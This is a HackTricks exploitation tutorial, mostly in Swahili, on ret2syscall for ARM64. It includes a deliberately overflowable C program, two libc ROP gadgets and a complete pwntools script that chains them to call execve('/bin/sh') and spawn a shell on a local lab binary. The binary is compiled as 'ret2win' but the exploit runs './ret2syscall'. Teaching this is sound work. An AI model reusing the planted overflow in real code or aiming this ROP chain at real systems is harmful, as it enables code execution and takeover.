Ret2syscall - ARM64

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Pata utangulizi wa arm64 katika:

Introduction to ARM64v8

Code

Tutatumia mfano kutoka kwenye ukurasa:

Ret2win - arm64

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kusanya bila pie na canary:

clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

Ili kuandaa wito wa syscall inahitajika usanidi ufuatao:

• x8: 221 Specify sys_execve

• x0: ptr to "/bin/sh" specify file to execute

• x1: 0 specify no arguments passed

• x2: 0 specify no environment variables passed

Kwa kutumia ROPgadget.py niliweza kupata vifaa vifuatavyo katika maktaba ya libc ya mashine:

;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0

Kwa kutumia vifaa vya awali tunaweza kudhibiti usajili wote unaohitajika kutoka kwenye stack na kutumia x5 kuruka kwenye kifaa cha pili ili kuita syscall.

Kumbuka kwamba kujua habari hii kutoka kwenye maktaba ya libc pia inaruhusu kufanya shambulio la ret2libc, lakini hebu tuitumie kwa mfano huu wa sasa.

Exploit

from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()

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Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.